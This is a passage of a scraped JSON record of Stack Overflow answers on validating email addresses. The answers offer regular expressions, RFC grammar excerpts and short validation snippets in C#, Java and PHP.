"text": "^((([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+(\\.([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+)*)|((\\x22)((((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(([\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]|\\x21|[\\x23-\\x5b]|[\\x5d-\\x7e]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(\\\\([\\x01-\\x09\\x0b\\x0c\\x0d-\\x7f]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF]))))*(((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(\\x22)))@((([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.)+(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.?$\n"
},
{
"answer_id": 1329339,
"author": "Dimitris Andreou",
"author_id": 162895,
"author_profile": "https://Stackoverflow.com/users/162895",
"pm_score": 3,
"selected": false,
"text": "addr-spec = local-part \"@\" domain\nlocal-part = dot-atom / quoted-string / obs-local-part\ndomain = dot-atom / domain-literal / obs-domain\ndomain-literal = [CFWS] \"[\" *([FWS] dtext) [FWS] \"]\" [CFWS]\ndtext = %d33-90 / ; Printable US-ASCII\n %d94-126 / ; characters not including\n obs-dtext ; \"[\", \"]\", or \"\\\"\n"
},
{
"answer_id": 1610200,
"author": "spig",
"author_id": 17891,
"author_profile": "https://Stackoverflow.com/users/17891",
"pm_score": 5,
"selected": false,
"text": "/.+@[^@]+\\.[^@]{2,}$/"
},
{
"answer_id": 1771483,
"author": "Michael",
"author_id": 215384,
"author_profile": "https://Stackoverflow.com/users/215384",
"pm_score": 4,
"selected": false,
"text": "'/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)([!#-\\'*+\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$/isD'\n '/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!\"?(?>\\\\\\[ -~]|[^\"]){65,}\"?@)(?>([!#-\\'*+\\/-9=?^-~-]+)(?>\\.(?1))*|\"(?>[ !#-\\[\\]-~]|\\\\\\[ -~])*\")@(?!.*[^.]{64,})(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?2)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?3)){7}|(?!(?:.*[a-f0-9][:\\]]){8,})((?3)(?>:(?3)){0,6})?::(?4)?))|(?>(?>IPv6:(?>(?3)(?>:(?3)){5}:|(?!(?:.*[a-f0-9]:){6,})(?5)?::(?>((?3)(?>:(?3)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\\.(?6)){3}))\\])$/iD'\n \"/^(?!.{255,})(?!.{65,}@)([!#-'*+\\/-9=?^-~-]+)(?>\\.(?1))*@(?!.*[^.]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?\\.){1,126}[a-z]{2,6}$/iD\"\n"
},
{
"answer_id": 1903368,
"author": "SLaks",
"author_id": 34397,
"author_profile": "https://Stackoverflow.com/users/34397",
"pm_score": 10,
"selected": false,
"text": "try {\n address = new MailAddress(address).Address;\n} catch(FormatException) {\n // address is invalid\n}\n MailAddress MailAddress bool isValid = false;\n\ntry\n{\n MailAddress address = new MailAddress(emailAddress);\n isValid = (address.Address == emailAddress);\n // or\n // isValid = string.IsNullOrEmpty(address.DisplayName);\n}\ncatch (FormatException)\n{\n // address is invalid\n}\n user@company."
},
{
"answer_id": 1917982,
"author": "Abigail",
"author_id": 233315,
"author_profile": "https://Stackoverflow.com/users/233315",
"pm_score": 8,
"selected": false,
"text": "/(?(DEFINE)\n (?<address> (?&mailbox) | (?&group))\n (?<mailbox> (?&name_addr) | (?&addr_spec))\n (?<name_addr> (?&display_name)? (?&angle_addr))\n (?<angle_addr> (?&CFWS)? < (?&addr_spec) > (?&CFWS)?)\n (?<group> (?&display_name) : (?:(?&mailbox_list) | (?&CFWS))? ;\n (?&CFWS)?)\n (?<display_name> (?&phrase))\n (?<mailbox_list> (?&mailbox) (?: , (?&mailbox))*)\n\n (?<addr_spec> (?&local_part) \\@ (?&domain))\n (?<local_part> (?&dot_atom) | (?"ed_string))\n (?<domain> (?&dot_atom) | (?&domain_literal))\n (?<domain_literal> (?&CFWS)? \\[ (?: (?&FWS)? (?&dcontent))* (?&FWS)?\n \\] (?&CFWS)?)\n (?<dcontent> (?&dtext) | (?"ed_pair))\n (?<dtext> (?&NO_WS_CTL) | [\\x21-\\x5a\\x5e-\\x7e])\n\n (?<atext> (?&ALPHA) | (?&DIGIT) | [!#\\$%&'*+-/=?^_`{|}~])\n (?<atom> (?&CFWS)? (?&atext)+ (?&CFWS)?)\n (?<dot_atom> (?&CFWS)? (?&dot_atom_text) (?&CFWS)?)\n (?<dot_atom_text> (?&atext)+ (?: \\. (?&atext)+)*)\n\n (?<text> [\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])\n (?<quoted_pair> \\\\ (?&text))\n\n (?<qtext> (?&NO_WS_CTL) | [\\x21\\x23-\\x5b\\x5d-\\x7e])\n (?<qcontent> (?&qtext) | (?"ed_pair))\n (?<quoted_string> (?&CFWS)? (?&DQUOTE) (?:(?&FWS)? (?&qcontent))*\n (?&FWS)? (?&DQUOTE) (?&CFWS)?)\n\n (?<word> (?&atom) | (?"ed_string))\n (?<phrase> (?&word)+)\n\n # Folding white space\n (?<FWS> (?: (?&WSP)* (?&CRLF))? (?&WSP)+)\n (?<ctext> (?&NO_WS_CTL) | [\\x21-\\x27\\x2a-\\x5b\\x5d-\\x7e])\n (?<ccontent> (?&ctext) | (?"ed_pair) | (?&comment))\n (?<comment> \\( (?: (?&FWS)? (?&ccontent))* (?&FWS)? \\) )\n (?<CFWS> (?: (?&FWS)? (?&comment))*\n (?: (?:(?&FWS)? (?&comment)) | (?&FWS)))\n\n # No whitespace control\n (?<NO_WS_CTL> [\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f])\n\n (?<ALPHA> [A-Za-z])\n (?<DIGIT> [0-9])\n (?<CRLF> \\x0d \\x0a)\n (?<DQUOTE> \")\n (?<WSP> [\\x20\\x09])\n )\n\n (?&address)/x\n"
},
{
"answer_id": 1931322,
"author": "BalusC",
"author_id": 157882,
"author_profile": "https://Stackoverflow.com/users/157882",
"pm_score": 5,
"selected": false,
"text": "[a-z]/i \\w ^([^.@]+)(\\.[^.@]+)*@([^.@]+\\.)+([^.@]+)$\n aa@bb.cc"
},
{
"answer_id": 2148664,
"author": "Evan Carroll",
"author_id": 124486,
"author_profile": "https://Stackoverflow.com/users/124486",
"pm_score": 6,
"selected": false,
"text": "$RFC822PAT = <<'EOF';\n[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\\nxff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xf\nf\\n\\015()]*)*\\)[\\040\\t]*)*(?:(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\x\nff]+(?![^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff])|\"[^\\\\\\x80-\\xff\\n\\015\n\"]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015\"]*)*\")[\\040\\t]*(?:\\([^\\\\\\x80-\\\nxff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80\n-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*\n)*(?:\\.[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\n\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\\nx80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x8\n0-\\xff]+(?![^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff])|\"[^\\\\\\x80-\\xff\\n\n\\015\"]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015\"]*)*\")[\\040\\t]*(?:\\([^\\\\\\x\n80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\n\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\n\\t]*)*)*@[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([\n^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\n\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\\nx80-\\xff]+(?![^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff])|\\[(?:[^\\\\\\x80-\n\\xff\\n\\015\\[\\]]|\\\\[^\\x80-\\xff])*\\])[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()\n]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\\nx80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(?:\\.[\\04\n0\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\\nn\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\\n015()]*)*\\)[\\040\\t]*)*(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?!\n[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff])|\\[(?:[^\\\\\\x80-\\xff\\n\\015\\[\\\n]]|\\\\[^\\x80-\\xff])*\\])[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\\nx80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\01\n5()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*)*|(?:[^(\\040)<>@,;:\".\n\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]\n)|\"[^\\\\\\x80-\\xff\\n\\015\"]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015\"]*)*\")[^\n()<>@,;:\".\\\\\\[\\]\\x80-\\xff\\000-\\010\\012-\\037]*(?:(?:\\([^\\\\\\x80-\\xff\\n\\0\n15()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][\n^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)|\"[^\\\\\\x80-\\xff\\\nn\\015\"]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015\"]*)*\")[^()<>@,;:\".\\\\\\[\\]\\\nx80-\\xff\\000-\\010\\012-\\037]*)*<[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?\n:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\n\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(?:@[\\040\\t]*\n(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015\n()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()\n]*)*\\)[\\040\\t]*)*(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\\0\n40)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff])|\\[(?:[^\\\\\\x80-\\xff\\n\\015\\[\\]]|\\\\\n[^\\x80-\\xff])*\\])[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\\nxff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*\n)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(?:\\.[\\040\\t]*(?:\\([^\\\\\\x80\n-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x\n80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t\n]*)*(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\\040)<>@,;:\".\\\\\n\\[\\]\\000-\\037\\x80-\\xff])|\\[(?:[^\\\\\\x80-\\xff\\n\\015\\[\\]]|\\\\[^\\x80-\\xff])\n*\\])[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x\n80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80\n-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*)*(?:,[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015(\n)]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\n\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*@[\\040\\t\n]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\0\n15()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015\n()]*)*\\)[\\040\\t]*)*(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\n\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff])|\\[(?:[^\\\\\\x80-\\xff\\n\\015\\[\\]]|\n\\\\[^\\x80-\\xff])*\\])[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80\n-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()\n]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(?:\\.[\\040\\t]*(?:\\([^\\\\\\x\n80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\n\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\n\\t]*)*(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\\040)<>@,;:\".\n\\\\\\[\\]\\000-\\037\\x80-\\xff])|\\[(?:[^\\\\\\x80-\\xff\\n\\015\\[\\]]|\\\\[^\\x80-\\xff\n])*\\])[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\n\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x\n80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*)*)*:[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015\n()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\n\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*)?(?:[^\n(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\\040)<>@,;:\".\\\\\\[\\]\\000-\n\\037\\x80-\\xff])|\"[^\\\\\\x80-\\xff\\n\\015\"]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\\nn\\015\"]*)*\")[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\n\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))\n[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(?:\\.[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\n\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\x\nff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(\n?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\\040)<>@,;:\".\\\\\\[\\]\\\n000-\\037\\x80-\\xff])|\"[^\\\\\\x80-\\xff\\n\\015\"]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\\nxff\\n\\015\"]*)*\")[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\x\nff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)\n*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*)*@[\\040\\t]*(?:\\([^\\\\\\x80-\\x\nff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\n\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)\n*(?:[^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\\040)<>@,;:\".\\\\\\[\\\n]\\000-\\037\\x80-\\xff])|\\[(?:[^\\\\\\x80-\\xff\\n\\015\\[\\]]|\\\\[^\\x80-\\xff])*\\]\n)[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\n\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\x\nff\\n\\015()]*)*\\)[\\040\\t]*)*(?:\\.[\\040\\t]*(?:\\([^\\\\\\x80-\\xff\\n\\015()]*(\n?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]*(?:\\\\[^\\x80-\\xff][^\\\\\\x80\n-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)*\\)[\\040\\t]*)*(?:[^(\\040)<\n>@,;:\".\\\\\\[\\]\\000-\\037\\x80-\\xff]+(?![^(\\040)<>@,;:\".\\\\\\[\\]\\000-\\037\\x8\n0-\\xff])|\\[(?:[^\\\\\\x80-\\xff\\n\\015\\[\\]]|\\\\[^\\x80-\\xff])*\\])[\\040\\t]*(?:\n\\([^\\\\\\x80-\\xff\\n\\015()]*(?:(?:\\\\[^\\x80-\\xff]|\\([^\\\\\\x80-\\xff\\n\\015()]\n*(?:\\\\[^\\x80-\\xff][^\\\\\\x80-\\xff\\n\\015()]*)*\\))[^\\\\\\x80-\\xff\\n\\015()]*)\n*\\)[\\040\\t]*)*)*>)\nEOF\n"
},
{
"answer_id": 2932811,
"author": "Eric Schoonover",
"author_id": 3957,
"author_profile": "https://Stackoverflow.com/users/3957",
"pm_score": 5,
"selected": false,
"text": "/^([\\w\\!\\#$\\%\\&\\'\\*\\+\\-\\/\\=\\?\\^\\`{\\|\\}\\~]+\\.)*[\\w\\!\\#$\\%\\&\\'\\*\\+\\-\\/\\=\\?\\^\\`{\\|\\}\\~]+@((((([a-z0-9]{1}[a-z0-9\\-]{0,62}[a-z0-9]{1})|[a-z])\\.)+[a-z]{2,6})|(\\d{1,3}\\.){3}\\d{1,3}(\\:\\d{1,5})?)$/i\n"
},
{
"answer_id": 4554294,
"author": "AZ_",
"author_id": 185022,
"author_profile": "https://Stackoverflow.com/users/185022",
"pm_score": 4,
"selected": false,
"text": "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\])\n import java.util.regex.*;\n\nclass regexSample \n{\n public static void main(String args[]) \n {\n //Input the string for validation\n String email = \"xyz@hotmail.com\";\n\n //Set the email pattern string\n Pattern p = Pattern.compile(\" (?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|\"\n +\"(?:[\\\\x01-\\\\x08\\\\x0b\\\\x0c\\\\x0e-\\\\x1f\\\\x21\\\\x23-\\\\x5b\\\\x5d-\\\\x7f]|\\\\[\\\\x01-\\\\x09\\\\x0b\\\\x0c\\\\x0e-\\\\x7f])*\\\")\"\n + \"@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\\\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\\\\x01-\\\\x08\\\\x0b\\\\x0c\\\\x0e-\\\\x1f\\\\x21-\\\\x5a\\\\x53-\\\\x7f]|\\\\[\\\\x01-\\\\x09\\\\x0b\\\\x0c\\\\x0e-\\\\x7f])+)\\\\]\");\n\n //Match the given string with the pattern\n Matcher m = p.matcher(email);\n\n //Check whether match is found \n boolean matchFound = m.matches();\n\n if (matchFound)\n System.out.println(\"Valid Email Id.\");\n else\n System.out.println(\"Invalid Email Id.\");\n }\n}\n"
},
{
"answer_id": 6756736,
"author": "Mac",
"author_id": 406196,
"author_profile": "https://Stackoverflow.com/users/406196",
"pm_score": 4,
"selected": false,
"text": "function validateEmail($email) {\n return (bool) stripos($email,'@');\n}\n"
},
{
"answer_id": 6908269,
"author": "Murthy Jeedigunta",
"author_id": 874032,
"author_profile": "https://Stackoverflow.com/users/874032",
"pm_score": 3,
"selected": false,
"text": "public bool ValidateEmail(string sEmail)\n{\n if (sEmail == null)\n {\n return false;\n }\n\n int nFirstAT = sEmail.IndexOf('@');\n int nLastAT = sEmail.LastIndexOf('@');\n\n if ((nFirstAT > 0) && (nLastAT == nFirstAT) && (nFirstAT < (sEmail.Length - 1)))\n {\n return (Regex.IsMatch(sEmail, @\"^[a-z|0-9|A-Z]*([_][a-z|0-9|A-Z]+)*([.][a-z|0-9|A-Z]+)*([.][a-z|0-9|A-Z]+)*(([_][a-z|0-9|A-Z]+)*)?@[a-z][a-z|0-9|A-Z]*\\.([a-z][a-z|0-9|A-Z]*(\\.[a-z][a-z|0-9|A-Z]*)?)$\"));\n }\n else\n {\n return false;\n }\n}\n"
},
{
"answer_id": 6954888,
"author": "grosser",
"author_id": 110333,
"author_profile": "https://Stackoverflow.com/users/110333",
"pm_score": 2,
"selected": false,
"text": "/^([a-z0-9\\+\\._\\/&!][-a-z0-9\\+\\._\\/&!]*)@(([a-z0-9][-a-z0-9]*\\.)([-a-z0-9]+\\.)*[a-z]{2,})$/i\n"
},
{
"answer_id": 8587017,
"author": "SimonSimCity",
"author_id": 517914,
"author_profile": "https://Stackoverflow.com/users/517914",
"pm_score": 6,
"selected": false,
"text": "filter_var($value, FILTER_VALIDATE_EMAIL)\n"
},
{
"answer_id": 8829363,
"author": "Josh Stodola",
"author_id": 54420,
"author_profile": "https://Stackoverflow.com/users/54420",
"pm_score": 8,
"selected": false,
"text": "^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\n /^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/\n"
},
{
"answer_id": 10362389,
"author": "Prasad",
"author_id": 318244,
"author_profile": "https://Stackoverflow.com/users/318244",
"pm_score": 3,
"selected": false,
"text": "static public function checkEmail($email, $ignore_empty = false) {\n if($ignore_empty && (is_null($email) || $email == ''))\n return true;\n return filter_var($email, FILTER_VALIDATE_EMAIL);\n}\n"
},
{
"answer_id": 13666913,
"author": "TombMedia",
"author_id": 112397,
"author_profile": "https://Stackoverflow.com/users/112397",
"pm_score": 3,
"selected": false,
"text": "Jean+François@anydomain.museum 试@例子.测试.مثال.آزمایشی .+@you.com (?!^[.+&'_-]*@.*$)(^[_\\w\\d+&'-]+(\\.[_\\w\\d+&'-]*)*@[\\w\\d-]+(\\.[\\w\\d-]+)*\\.(([\\d]{1,3})|([\\w]{2,}))$)\n you@192.168.1.1 999.999.999.1 asdf@asdf.asdf"
},
{
"answer_id": 14075810,
"author": "Rinke",
